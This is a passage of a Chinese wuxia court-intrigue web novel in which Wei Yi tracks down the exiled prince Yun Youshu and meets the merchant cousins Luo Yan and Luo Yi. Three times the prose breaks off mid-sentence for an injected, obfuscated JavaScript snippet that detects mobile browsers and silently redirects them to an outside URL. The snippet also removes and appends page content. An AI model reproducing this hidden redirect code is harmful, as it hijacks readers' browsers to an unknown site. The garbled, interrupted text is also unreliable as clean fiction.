“那不就揭穿咱们这位王爷了?”韦祎无奈。 “对了,说起刚才那对老夫妇就来气,收了银子,立刻便出卖主人家!”周冲一拍桌子。 韦祎不这么想,若是老夫妇不说,自己就更抓瞎,“他们不说我也给钱了。” 随后,两人记下了画像中的样子,专挑人多的时候,在大街小巷寻人。 幸好东平郡并不大,两万来人的小郡城,算是找得过来,这若是二十多万人口的东海郡,就完蛋了。 下午没什么收获,第二天的早上,坐在茶棚里的韦祎瞅见人群中一袭气质不凡的背影,悄悄绕到正面看一眼,与画像上那人有七分相似。 画像时才十三岁,如今已经十七岁,正长身体的时候,面容自然会变化。 苔色广袖长衫,深色腰带挂着荷包,下面露出素袜,方口履,头上没有带巾帽,用与衣裳同色的布条束发,气色不错,眉横丹凤,唇红齿白。 此时,这人左手挽着一个大菜篮子,里头装着一条五花肉、一把水青菜、几块老姜、几个地瓜土豆,右手拎着好几串药草包,开开心心地走在街上。 招呼一把在不远处的周冲,二人暗中跟上,不多时,少年走到一间小巧精致的客栈门口,走了进去。 韦祎担心着之前出现的神秘黑影子,不想直接现身。 于是二人在门口等了一会儿,不见这人有什么动静,顺着门口看进去,这幢小楼是天井式的设计,内部有很粗的房梁。 示意周冲,指一指地,再指一指屋内的房梁,瞅准了店小二转身到后厨,大厅无人的一瞬,韦祎窜进门,旋即纵身跳上房梁蹲住,收好衣裳下摆。 往外看,周冲仍在原地,惊愕地看着。韦祎赶忙向他招手,小二还在后厨没有回来,此时不溜进来更待何时? 不容得周冲多想,他也只得走进门去往房梁上跳。 刚发力想上韦祎所在的那根梁,韦祎又给他摆手,让他去跳上对面的一根,只好停下来换个方向再跳,一番慌乱,总算是赶在店小二回到大厅前收好了马脚。 等了不多时,那少年又从后面走进大厅,与厅中的小二叮嘱了一番,随后便坐在柜台后翻看账本,好像在等什么人。 看来这位疑似云攸纾的少年并不是住店的,而是这里的老板或者管事。 约莫等到了正上午,韦祎已经舒服地坐在房梁上想打盹儿了。 门口走进来几个人,都是穿丝绸圆领袍,戴幞头的。韦祎没注意看,等反应过来要去看时,那少年已经热络地迎上为首的那人,众人一同走到后面的小花厅里了。 还好,虽然有屏风隔断,但房梁是通着的,韦祎起身,在房梁上向小花厅移动。这家客栈与众不同,内部装饰以深深浅浅的绿色为主,风格统一,摆设的东西看着不值钱但难得有趣。 小花厅更是精致,处处放着新摘的鲜花,掩映着浅绿的帷幔,那几人在厅中坐下,扯些闲话。 “若是我交租子不及时,逸希姐姐你就能多来几次了。” “难不成你交了我就不来了,平焕好会冤枉人。” “你便是来得多,在我看来却仍是少,若朝能得见,夕可共处,在我看来也还是少了。” 韦祎所在的角度,看不到面庞,只能看见说话这两人的头顶,坐在后面的几个人,更是看都看不到,怪这厅中拉了太多的帷幔。 所以,在韦祎的眼里,就是一个少年称呼另一个声音有些阴柔的男青年为“姐姐”,说着情话,撒娇亲昵地扯着袖子。 韦祎不寒而栗,若这位真是皇子,玩得可够花样的。 “平老板,我们公子可忙,前夜才从苏州赶回来,在家都没歇息,便往这穷乡僻壤里来探望你,你倒好,一见面就要指责,依我看,还如留在东海郡与我们几个一起。”说话这男子坐在靠后的位置,韦祎看不到它,听声音,有些拿腔拿调的,令人不爽。 “朱公子,逸希姐姐是来看我的,你巴巴的跟来我都没有嫌你呢,你倒要先嫌我,这是什么道理。”被称作“平焕”的少年立刻反唇相讥。 那位朱公子想要反驳,刚开腔,叫“逸希”的不知男女的那位显然是这几个人当中的老大,抬手制止他说下去,“平焕是我的好友,与我堂哥也是旧相识,好不容易相逢一次,就别抱怨啦,等回了东海郡,我再补偿你。” “好了,玉之,公子肯带你出来,当然是重视你,还有,平老板还小,才十七岁,你应该让着他才是。”又是另一个人在说话,声音温润,入耳如沐春风。 “略略略,谁要你们让!”平焕气道。 他这么出了一串怪声,众人反而都笑了。 韦祎更加一头雾水,十七岁,与平郡王的年龄对得上,不过他这是与一群什么乱七八糟的人混在了一起啊! 观察这老半天,不仅没分清男女,关系更是乱套。 看向对面的周冲,指望着他的角度能看到些人脸,周冲亦是一脸心情复杂地抬眼,动身挪一挪。只是他当梁上君子不熟练,更没有习惯新藏在腿侧的伸缩棍,棍子敲在梁上,发出一声闷响。 同一瞬,底下坐席里飞出白色的一道光,准确穿过帷幔,砸向周冲,周冲在梁上蹲着,无法拔出武器,已经准备用手掌去挡了。 见状,一直有些过度紧张的韦祎即刻拔出一根甩手刺,飞射出去,替周冲挡住了这一记。 这才看清白色的一道光是个茶碗盖子,而甩手刺和被砸缺了口的茶碗盖子一起掉了下去。 周冲一副闯了祸的表情缩着脖子看韦祎,韦祎扁嘴。 座位中的其他人没声音,只有那位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357855|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “平焕”一阵惊呼。 “看来我们是有客人了,只是不知客人为何身处梁上?倒不如现身相会!”那位为首的“逸希公子”扬声道。 韦祎收束了气息,没往下看,听到有人捡起了茶碗盖子和甩手刺,发出“咦?”的一声。 这声音十分耳熟!反应过来,不止声音,这人的气息也是自己极其熟悉的。 于是便找准帷幔的缝隙,直接跳到了花厅当中。周冲打手势,表示他没法直接穿过帷幔,自去在梁上绕回大厅再跳下来。 罗晏手里拿着茶碗盖子和甩手刺,瞪着从梁上跳下来的韦祎。很快他笑了起来,直接伸手摸了一把韦祎的大腿,大腿上正绑着装甩手刺的特质布袋,又绕韦祎一周看了看,“不是说我送你的东西没用吗?到底是用上了,快谢我!” “你怎么在这?”韦祎拍掉罗晏的手。 “离开京城前给你说过,被我家老头子派的差事,正好走到此处了,歇歇脚。倒是你,你不是有正事要做?出现在此处才奇怪呢。” “堂哥,你认识这位公子?” “何止是认识,我给你们介绍。”罗晏笑道,“我跟你提过的,这位便是韦子隽。”又示意韦祎,“子隽,这位我也向你介绍过,我堂妹罗易,小字逸希。” 韦祎下意识地便抱拳行礼,罗易也抱拳回礼。 然后两人的脑子反应过来了,一同瞪向罗晏。 “还有这位,虽然年轻,却是这间店的老板,平焕,平老板。”罗晏望望天,装作看不见,“这两位是朱公子、殷公子,都是小易的,嗯,得力干将。” 现在可以确定,这位确实是女子。 罗易穿着男子服饰,手持一把折扇,鹅蛋脸、小山眉、大大的杏眼,相貌英气,落落大方。 后面站着的朱公子、殷公子,各有特色,十分俊美。 朱公子穿红衫,相貌风流,姿态妖娆,殷公子温润俊朗,一身白衫,嘴角含笑。 反正,让韦祎评价就俩字:好看。 别说比自己好看多了,比罗晏也好看多了,这难道就是传说中的——面首? 而且听着刚才的对话,罗易与那位平老板,更是不清不楚。 “原来这位就是韦公子啊,堂哥多次提起,我当然记得,只是没想到,第一次见面,韦公子竟然在梁上。”罗易爽朗笑道。 韦祎不甘示弱,“原来这位就是罗小姐,初次见面,罗小姐也算是,交友广泛啊!” 罗晏在一旁,罕见地有些尴尬。 而朱公子、殷公子还有平老板三人意识到,这位房梁上跳下来的人好像是个“竞争对手”,都有些面色不善。 “堂哥,这位梁上君子,就是你大力推荐的如意郎君?”罗易问。 “子隽,你还没说,为何来此呢?”罗晏转移话题。 “嗯……” “你们两个自去外面用午饭罢,不必等我。”善解人意的罗易挥手,让那两位“得力干将”出门去等。迎面遇上好不容易跳下来的周冲,罗晏挥手跟他打了个招呼“周百户!” “周冲,你也去外面等我吧。”韦祎可不想让下属看到自己见相亲对象的场景。 周冲懵懵的便被急于想打探消息的朱公子、殷公子拉去同用午餐。 “让我猜一猜,你既然是要出使,却出现在了这里,依照你的性格,抗旨溜出去玩是不可能的,奉旨来,一定是要找平焕。” 罗易在一旁笑道:“平焕,这回可有正经事要你做了。” 韦祎沉吟道:“你们知道他是谁?” “咱们的平郡王殿下,云平焕啊。”罗晏罗易兄妹介绍道,“难道你不是来找他的?”罗晏问。 韦祎欲言又止,还密旨呢,全世界都要知道了。 “你谁啊?找我干嘛!”云攸纾充满敌意的瞪着他。 十三皇子平郡王云攸纾,年十七,字平焕。 韦祎抱拳行礼道:“安军中郎将韦祎,参见平郡王。此来是为了嗯……” 云攸纾怒道:“免礼!” “你是不是要带他去出使西域?”罗晏一拍手。 “啊!罗壹通!你装不知道没人把你当傻子!”罗晏抱头鼠窜,韦祎追打之。 韦祎与云攸纾和罗易的初次见面,在罗晏的努力下,酿成了社交灾难。 28. 乱翻书 听韦祎将来龙去脉交代清楚,云攸纾下巴一扬:“不去!” “这可是,皇帝的旨意,平王殿下,您还是跟末将走吧!”韦祎眨眨眼,劝道,干巴巴。 “不去!他凭什么让我去做事?把我扔在这里不闻不问,连我是不是饿死了都不知道,竟然想让我给他干活?不可能!”云攸纾叉腰。 “抗旨不好吧?”韦祎试探道。 “你就去告诉他我抗旨了!”云攸纾仍旧充满敌意。 劝人真不是韦祎擅长的,他此时的念头是,难道要使用备用方案:将他绑走? “哎哎哎,别急,这都能再见到挺不容易的,我们出去转转。”罗晏过来抓住韦祎往外带,一边给罗易打眼色,“小易,卖个面子吧。” 罗易自信地点点头。 韦祎被罗晏带到了外厅中的座位上,落座。 “其实平焕是个吃硬不吃软的,你好言相劝,他反而得意。”罗晏说。 韦祎集中听力,能听见内室里罗易正与平焕说话,好一阵轻声软语,听得人起鸡皮,指一指小花厅方向:“难道她这是在来硬的不成?” “那是小易,又不是你。”罗晏道,他也听了一小会儿,随即伸手去捂韦祎的耳朵,“非礼勿听,非礼勿听,偷听岂是君子所为哉!” “这话竟然能从你嘴里说出来?” “都是要分情况讨论的,走走走,我们去吃饭,这都晌午了,平焕的事情你就交给小易好了。” 不由分说,罗晏拉扯着韦祎出了门。 这两天,又要防备着黑影子,又要听周冲讲悲惨童年,再加上时刻留意着在街上找人脸,每顿饭都没吃好。 在罗晏稍微惊诧的神情中,点了诸多如红烧肉、酥烤鸭、烧椒松花蛋之类咸辣味浓的菜,吃了两大碗白米饭。 菜够开胃,罗晏跟着吃了不少,看韦祎放下筷子,罗晏问:“没想到现在就有机会见面了,你觉得小易怎么样?” “啊?” 初次见面都这么灾难了,罗晏还谋划着说亲呢? “我觉得,不愧是你堂妹。” “哈哈哈那当然了。”罗晏就权当好话听,“是不是看着相貌就十分不错?” “英气利落,没有小女子姿态。”韦祎据实而言,“所以,她可能就更看不上我了,交好的公子那么多,都比我英俊。” “那和你能一样吗?他们不是那回事,若是结亲,还得多考虑你这个类型。” “什么类型?” “家有朝廷高官的类型。”罗晏笑道。 韦祎瞥他。 罗晏很坦荡:“就是这样。” “你们怎么认识那熊孩子的?”这是在外头,韦祎不好直呼其为殿下。 “认识好些年了,那会儿他刚来东平郡,租的铺子是小易的产业,我正好来此地找小易办些事情。” 大老板怎么会认识每一个租户? “当时有人想杀平焕来着,他使了个小聪明,故意赖在商行留宿时迷晕了我们家的一个伙计,将那伙计放在他房里用被子盖着,果然晚间被人捅成了筛子。损了商行的伙计,小易定然不依,暗中将平焕拘了起来,结果追杀他的人便认为小易与平焕是一伙儿的,连我们一起杀,我们和那群人斗智斗勇一个多月,平焕诈死,那群人才走了。” “他的禁军卫队呢?” “说来也怪,他说禁军将他送来东平郡就回京去了,只把他一个人扔在那座空王府里头。” “不对啊,你们是怎么知道他就是平郡王?” “自然有些不足为外人道的办法来查验。” 说起有人想杀云攸纾,韦祎想起来前些日子的黑影子,他拿出那份伪造的扯淡密旨给罗晏看。 罗晏打开,扫了一眼:“什么东西,这么一本正经,韦伯伯的手笔吧,哈哈!” “若是有人仔仔细细的看了这东西甚至且当了真,你觉得有可能吗?”韦祎束音成线,将那晚的情形讲给罗晏。 讲到一半,韦祎停下来喘了口气,平日里不做这偷偷摸摸的秘密工作,虽然在金吾卫时学过这项技术,但几乎没用过,乍然连续说了好几句话,发现果然很累! 对面那位老兄可不管,连韦祎说了什么内容都没在意,他眼睛一亮,讨好地笑:“这难道就是传说中的传音入密?怎么做到的?求韦大侠赐教。” “不是,我确信传音入密这个词儿是你在话本小说里看到的。我这个技术最多能传个二十步远,而且中间不能有实物遮挡。” “那也成啊,这能防住多少隔墙有耳?太厉害了!”罗晏很兴奋,“教教我吧!” 这技术说来很简单。 分出一丝内力来,覆盖在喉头声带处,压着嗓子,就能使声音线状传播。皇宫大内发明的技巧,对内力要求不大,无论功力深浅都能用。 难就难在精准地控制。 冷眼看罗晏在对面坐着练习了老半天,终于,出现了韦祎正等着瞧的景象。 “呕——”罗晏突然感到恶心反胃,刚吃了饭,吃得非常饱,稍有恶心直接呕上来一口,找个盘子吐掉,闭嘴憋了好一会儿,才压下去。 “让你用内力控制声带,没让你用内力去抠舌根。”韦祎就等着说这一句呢。 “这有什么区别吗?”罗晏努力感受着自己的喉咙。 “等你搞清有什么区别,就能学会了。” “成,你等着,我一定弄个明白。真想不到你竟然会这么拉风的技能,都不告诉我。”罗晏气道。 韦祎想拉回被传音入密扰乱的对话,接着说之前的话题,刚说了一句,咳了起来,束音成线用多了嗓子疼。 “走吧,去我家的地方说,算是安全。”罗晏结账,两人离开酒楼。 “这里可有郡守?” “又不是化外之地,当然有。”罗晏奇道。 “他遭遇困境,为何不去郡守府求救?” “这得怪小易,她当时见下属吃亏,直接扣下了平焕,他自然没机会找郡守。不过这没有错,这儿的郡守算是位胆小怕事的,求助了也不会有用。” 二人正去往东平郡的罗氏商行,“我怎么觉得有人在跟踪?” “你神经过敏。”罗晏也不着痕迹地四处看看,没觉得。 “你也只能察觉周冲那水平的。”韦祎讥讽道,若是刚才在房梁上,罗晏没有扔茶碗盖子打人,社交灾难就不会发生了,他可记着呢。 “嘿!你这人!” 韦祎仍然觉得,刚才擦肩而过的人当中,有几个人双目含光、身形矫健却穿着普通,故意不引人注意。 直到走进罗氏商行后堂,罗晏示意众人警戒,便从好些不起眼的地方走出些商行伙计样貌的人,状似随意地聚在厅中、后院里、楼梯口、转角处等地,三五成群,或打牌或闲聊,俨然将后堂的房间护住周全。 “够专业。” “小易的人,厉害吧。”罗晏得瑟挑眉,不忘夸罗易。 “这儿安全是吧,让我睡一会儿,两天没正经睡觉了。”韦祎看见后堂二楼是几间客房样的地方,罗晏带他推门走进一间,里面有朴素干净的床铺、桌椅。因为要防备不速之客光临,这两天夜里都是打坐过夜,虽然打坐有恢复精力的作用,却毕竟不是睡觉,又不是山里的老道老僧,谁没事儿打坐过夜啊? “周冲呢?” “放心吧,小易的手下会把他带回此地的。”一回头,韦祎看见罗晏也在打哈欠,于是他也跟着打了个哈欠。“那我去隔壁睡会儿,昨夜赶路过来的,没得空补眠呢。” 韦祎就着屋内脸盆的凉水洗了脸,倒头便睡。 从中午睡到了天黑,饿醒了。揉着眼睛顶着鸡窝头起身,外间的桌旁已经点亮了灯,赫然坐着一个人。 本来是吓了一哆嗦的,却立刻以为是罗晏先醒了过来吓人呢,怎可中计?仍然不紧不慢地穿靴披衣,迷糊着调笑道:“趁人昏睡闯宅院,无礼之徒。” “谁是无礼之徒呀?我替人当说客辛劳一番,回到房间,却见有人睡在我的床上,你说这无礼之徒,究竟是谁?” 这是罗易的声音! 韦祎加快了动作,闪到木隔断后,飞速穿好了所有衣裳。头发也散下来重新挽,扎上幞头遮住梳得很难看的发髻。 “罗小姐,这是你的房间?”韦祎走出来见礼。 “我若来到东平郡,便会宿在此处。没想到,你也宿在此处了。” 韦祎不信,“那为何外面的伙计们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357856|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有拦着?” “一向没人管是否有男子来我房中,你又是我堂哥带来的,更没人管了。”看她这表情,就知道她等在这里调戏韦祎呢。“又是梁上君子,又偷进闺房,果然与那些寻常公子不同。” 连续被罗晏算计两次,得了机会一定狠整他,韦祎暗下决心。 “就别叫我罗小姐了,我们家的罗小姐少说也有近百位,韦公子,你都在我的床上睡过觉了,就叫我的字如何?” 怎么说也是混过纨绔圈子的人,没吃过猪肉没见过猪跑?我还是个结过婚的男子,竟在此被个姑娘轻薄了?韦祎内心不服,试图反击:“罗小姐让我改口,为何自己不改口,自然是拿我当外人了?” “你与我堂兄同年,那我便叫你子隽哥哥?”罗易甜甜笑道。 韦祎败下阵来,不行,不可以。 “别以为你躲在墙后我就不能打你。”韦祎冲着门外说。 罗晏摇着头踱步走进来,“不行啊,真不像个公子哥儿,这都对付不来。”转而对罗易说,“我就说他与那些表里不一的纨绔公子不同吧!” “倒是个有趣的人。”罗易收了调笑的表情,“你别对我太有偏见了,我都不计较你是梁上君子。” “这不一样吧,我是为了差事。”韦祎辩解。 “你怎么知道我就不是为了正事?”罗易笑。 韦祎仔细考虑了一会儿,确实不能排除这个可能性,于是正色拱手,“逸希姑娘,是韦祎考虑不周,轻慢姑娘了。” “罢了,你是贵客,我不应该逗你的。”见韦祎先低头,罗易立刻松口,“族长早就发话,各地的本家商行,待你如同待少主,你本可以直接找我做事。” “那是什么?”韦祎还真不知道。 “哦,你不知道吧,因为你是我娘的干儿子啊。”罗晏想起来,解释道。 “我是伯母的干儿子?” “对,因为是我娘一厢情愿,所以没告诉你。” 这是个什么强买强卖的操作?韦祎疑惑,“那我让你给我一千两银子,你也给?” “可以啊,我账上真有些闲钱,明个儿给你备好。你是要银票,还是要银锭子?”罗易问。 “不了,”韦祎身体后倾,“我不需要银子。” “小易,那你给我一千两银子如何?”罗晏刚才可听了那句“待你如待少主”,想到自己可是正牌少主啊,充满希望地问。 “不给。” “为何?我不就是少主吗?” “是啊,不过你是我堂哥,这世上只有妹妹向哥哥要钱,哪有哥哥向妹妹要钱的道理?” 罗晏噎了一会儿:“你说得对。” “我都没向你要钱呢,你怎好意思跟我要。”罗易乘胜追击。 “那我给你个机会,帮子隽猜谜,赌一千两的彩头。”罗晏说。 “这就不用了吧?”韦祎赶忙制止,可不想让秘密行动被更多人知晓了。 “和我们不同,小易是沥州的东道主,长居此处,更熟悉沥州的情况。” 三人围桌而坐,韦祎也不知道自己为何在与两名连官员都不是的人商讨朝廷机密。 将前夜发生的事情讲述一遍,罗易疑惑道:“此人显然是不识字。” “我也怀疑,但我观此人行动,身手比肩大内的密探,非常专业,不可能不识字。”韦祎摇摇头。 “既然不识字,何故乱翻书?”罗晏叹气,三人扶着脑袋在桌旁苦思。 “子隽此行是出使,既然是出使,就有可能与外国人相关。”罗易提议说,“会不会是外国的密探?认得本国的字是应该的,却不一定认得我们大齐国的字。” “对啊,他看那么久,是为了强记下来图形,回去复写出来给识字的人看。”罗晏说。 “我先想到的,给钱!”罗易伸出手来。 “这还不能验证是真是假呢,怎能随意给你彩头?”罗晏道,“这件事变成谜题要怪子隽,他若当时暴起,制服那个黑影子,就省事了,现在可好,不怕贼偷却怕贼惦记,连觉都睡不成。” “你这是抵赖。”罗易笑他,摇摇头,“一千两而已,莫要小家子气!” “休想用激将法赚钱。”罗晏立刻识破。 29. 踏脚凳 “不如我们设个局,让子隽和平焕做诱饵,将那些黑影子抓来,就知道是不是了。”随即,罗易提议道。 “等等,不成。”韦祎惊觉对面这两人怎么算计起自己来了。“只要那熊孩子肯跟我走,回到大军之中便不必担心,无需在此处引起争斗。” “这你就放心好了,平焕说他稍微打点行装,安排好店内的事情,明天便可出发。”罗易说。 “真是太感谢逸希姑娘了!”韦祎郑重道谢,“日后若有我能帮上的,定不推脱。” “那我就暂时不说让你和我成亲这件大事了,等我玩够了,再去找你帮这个大忙。”罗易狡黠笑道。 “等等,那熊孩子现在是一个人?”韦祎惊觉。 “是啊,与他说完话,我便离开了……”罗易话说到一半,脸上便没了笑意,“不好!” 罗晏一把攥住韦祎袖子,阻止他现在就翻窗上房,急道:“我和子隽先去找平焕,小易你召集人手再去,在平家客栈会面!路上如有情况便放信号烟联络!” “好。”罗易点头,立刻闪身到外厅中发号施令。屋内的罗晏与韦祎开窗,翻身上房,轻身在连绵的屋顶奔袭。 若是韦祎没有来找过云攸纾也便罢了,问题在于韦祎本人已经被盯上,暗处的歹人也许就会跟着韦祎找到云攸纾。上次神秘的黑影子夜里来韦祎处探查,并没有什么成果,很有可能继续在暗中跟随韦祎。 “四年前要刺杀平郡王的,是什么样的人?”韦祎问。 “挺专业的,我们只有家丁和镖师,怎么可能摸得到人家专业人士的底细?”罗晏答,“勉强防住罢了。” “不是有你在呢?”韦祎疑惑。 “哈哈,你承认我是高手了?”罗晏抓住了与事情无关的重点。“我去探过,你猜怎么着?” “都什么时候了,别卖关子。”韦祎道:“我都承认你是高手了,你还想怎样?” “我跟着那群人一路,竟然见他们进了郡守府下属的工匠司院子里,蹲守了一阵子,发现那地方似乎是他们的大本营。” “所以你不敢反击。” “对,若这真是官方行动,我们何苦以卵击石?”罗晏道,“所以才想出假死的法子骗那些人离开,平焕不敢去住王府,也不敢擅自离开封地,所以就隐去身份,在城中做小生意过活。” “杀他是朝廷的意思?”韦祎回忆起,“我来此找他是皇帝的旨意,若是他早就遇刺身亡,皇帝怎可能不知?而且,如果皇帝下令用密探杀他,我三姐夫应该是知道的。” “你想想四年前那会儿是什么时候啊,不一定的。” 五年前,继承大统呼声最高的皇长子承亲王带队出征,随即暴露叛国事实。 征讨稞国结束后,承亲王即刻倒台,清算发配,留下的空位置让各家势力好一阵子你争我抢,这正是在四年前。 为止息风波,皇帝将当时京中的众多成年皇子全部分封外地,断了他们的念想。 当时的云攸纾仅仅十三岁,母子二人势单力薄,显然无力参加夺嫡斗争。不知为何,他竟然也被遣到外地。 是什么让皇帝认为,把他派遣到偏远小城都不够,要派密探刺杀他? 如今,皇帝显然能够确定云攸纾没有死。派我来带他出使,又是为什么?这次潜藏在沥州的,又是何方势力? “先别多想,我觉得你也想不明白,遇事随机应变为上。”罗晏飞奔中凑过来拍一拍韦祎的肩膀。 此时已经到了平家客栈,两人在二楼房檐下的隐蔽处落脚。透过窗户,悄悄观察屋内的情形。 一楼的几个伙计正在关店门,打扫大厅,随后摆出饭来,围坐用餐,小声地划拳喝两杯。二楼的几个房间住了客人,各自安静。 没看到云攸纾的身影。 “先等着,别急。店中不像是有异动。” 韦祎点点头,两人翻回屋顶坐下,听着屋内的动静。 哎?早知道罗家的人这么热情,当年从稞国逃回京城的时候,为什么不去求助啊?韦祎想起来,若是那一路上能混进镖队或者商人队伍里面,再者找他们帮忙办两本身份文牒也好啊。 记着当时带着那位稞国皇子微服向北,一路上不敢找州郡衙门求助,能走小路不走大路。 为了不牵连罗家,故意避开了罗氏名下的所有铺面,途径徽州都没有去罗氏大宅求助。 真是自讨苦吃。 不多时,一串马蹄声起,极目远眺过去,罗易带着十几名穿着劲装的家甲骑着马出现在了街角,打着火把,气势汹汹。与此同时,屋内传来咣啷咣啷的家具翻倒声,韦祎与罗晏对视一眼,罗晏留守窗口,韦祎预备踹开窗户跳进去救人。 行动前,韦祎拔出了一直藏在腰后的十三寸碧血短剑握在手中,上下扫一眼罗晏,见这厮竟然空着双手!顿时止住了动势对他瞪眼,罗晏送出一掌,将挂在窗框上的韦祎撞进了屋内。 “啊!什么人!”屋内传来一个少年惊慌失措的叫喊。 韦祎站住身子,定睛一看,屋内只有云攸纾一个人,没穿衣裳,头发湿漉漉的垂着滴水,周身只围着一条浴巾。 地上则是翻倒的一只铜盆,盆架,满地是皂荚水,旁边放着一只大浴桶,里面盛着热水。看来这是要先用皂荚洗头发,再到浴桶里沐浴,铜盆翻倒,发出了声音。 韦祎立刻侧过身去假装什么都没看到,将短剑插回剑鞘内。 “你……你竟然偷看我沐浴!”云攸纾怒气冲冲地指责。 韦祎觉得自己今天黑锅背得有点多,梁上君子、睡女子闺房,现在还多了一条偷看男子沐浴。 解释了一番,没什么用,能够作证的罗晏此时正躲在暗处看戏不现身呢。 “都怪你,吓得我把水盆都弄倒了,还不快帮我收拾?”云攸纾用浴巾尽可能的挡住自己的重要部位。 难道不是我听到了你弄翻水盆,以为你有危险,才破窗而入的?韦祎看云攸纾只是不想自己收拾而已,可谁让他是皇子呢,就帮这个忙罢。 在韦祎捡水盆,拖地的时候,听到背后又有水声,回头看,原来是云攸纾踩着凳子跳进了大浴桶当中。“你不准看我,收拾好了你就走吧,明天再来找我。” 果然是个熊孩子,韦祎腹诽。 “好吧,您安心沐浴。”韦祎在云攸纾充满防备的目光中,一步步走到浴桶旁。 “你你你!你要做什么?!”云攸纾捂住了自己的上身。 韦祎友善地笑笑,搬走了进出浴桶用的脚凳,将脚凳放置在一丈远的门口,又把脚凳旁的木屐也拎走,放在远处。这木头浴桶到人胸口那么高,没脚凳,出浴桶就往下跳吧,摔不摔个屁股墩儿,全凭运气。 云攸纾赶忙伸着手臂扑腾,“你在做什么!快把脚凳拿回来!” 韦祎回过头来,扫一眼惊慌中站起来露出上半身的云攸纾。 少年人身量,肤白、单薄,“啧啧……”韦祎故意露出一副玩味的表情来,云攸纾赶忙坐回浴桶中,将脖子以下全都沉进水里,怒视韦祎。 想逗一逗这位倒霉皇子呢,窗口响起轻轻的两声敲击。韦祎警觉,停下了动作,看向窗口,窗户被迅速推开,云攸纾正想叫喊,被韦祎捂住了嘴。 窜进来的人是罗晏,“灯!”他轻声道。 韦祎点头,手上动作不停,一手仍捂着云攸纾的嘴巴,另一手翻出两枚铜钱,依次飞出,一枚射向外间圆桌上的灯,另一枚熄灭了卧室床头的灯,屋内陷入一片漆黑。 “呜呜呜呜!”云攸纾挣扎道。 “怕有敌人,我放开你,你别说话。”韦祎的束音成线技能派上了用场。 感受到云攸纾点头,韦祎放开他,在罗晏的招呼下,一同走到窗边,无声地拉开半扇窗,向外观望。 与罗易等人相对而站的是另一支队伍,与罗易不同,这群人似是官军,六人骑马,十二人是步卒,都穿着郡守府的衙役公服,打着火把,这是两个小队的数量。 “前方何人!入夜喧嚣,聚众纵马!”为首一个穿绿色官服的扬声喊话。 “回禀这位大人,我家私宅遭人闯入,因而与家人追击至此,无意搅扰街邻,望大人行个方便!”罗易高声回话。 “竟是个妇道人家,深夜聚众在外,成何体统!还不快快散去,莫要叫本官拘尔等回衙门问罪!” 罗易暗自翻了个大大的白眼,随即换上笑脸,独自驱马上前几步,与那官儿相对而立。 韦祎在楼上看得着急,“这!” “没事,小易有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357857|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分寸。”罗晏拉住他,悄声道。 泡在浴桶里无法看到窗外景象的云攸纾拍出几个水花儿来抗议。 “敢问可是东平郡的法曹卢大人?”端坐在马背上拱手为礼,“民女罗易,久仰法曹大人之名。” “你这妇人!好生无礼,见了本官为何不跪!竟然高踞马上!” 罗易笑而不语。 那位法曹身侧自有懂事的小吏,匆匆凑过去附耳提醒。 “原来是罗老板!”那位法曹卢大人先行滚鞍下马,拱手陪笑。“恕下官眼拙,没有认出您老人家!” 罗易也不再倨傲,笑呵呵跳下马来,顺手将马鞭插在腰间,“卢大人贵人多忘事,一时想不起民女来,让民女好伤心。” “下官就是忘了谁也不敢忘了罗老板啊,只是夜黑,未曾认出,未曾认出。”这官儿从袖子中掏出手帕来拭汗。 “我与卢大人素未谋面,卢大人不知民女长什么样子是自然的。只是民女报上名号,卢大人仍记不得,我看大人并非眼拙,而是心浊。” “下官……下官年迈,下官年迈,”这卢大人额头上的汗水是越擦越多,“罗老板您大人有大量,大人有大量。” “哈哈哈,民女与卢大人开个玩笑,卢大人怎么当真了,叫民女惶恐!”罗易收回了气势,“只是被卢大人拦这一下子,我们追的贼已经跑得无影无踪了。卢大人夤夜辛苦,所为何事?” “自然知道罗老板是不会聚众喧闹的,下官惭愧,下官正在带人……带人夜间巡视,若是遇到了搅扰府中的歹人,一定替罗老板抓捕到案。” “那便罢了,若是卢大人施以援手,我一个妇道人家就不用在这夜里四处奔波,自回我的闺房之中做些针线女红。” 罗易拱手送他,那法曹大人只好上马,继续带人“夜间巡视”。 见衙役队伍走远,罗易命下属把守街道,自己叩了叩平家客栈的店门,早已听得动静的伙计们七手八脚将门闩打开,请她进来。 径直走到二楼的老板住处。此时二楼客房上已有些客人听到了外面的动静纷纷走出房来,罗易与众人玩笑一番,将众人劝回屋内。 “怎么,不给我开门?” 韦祎正在用打火石点灯,瞅一眼浴桶中光溜溜满脸通红的云攸纾,又瞅一眼门口,觉得不该开门。 罗晏已经把门打开了,笑道:“小易,好大的威风啊。” “我哪儿有什么威风,比堂哥可差远了。” 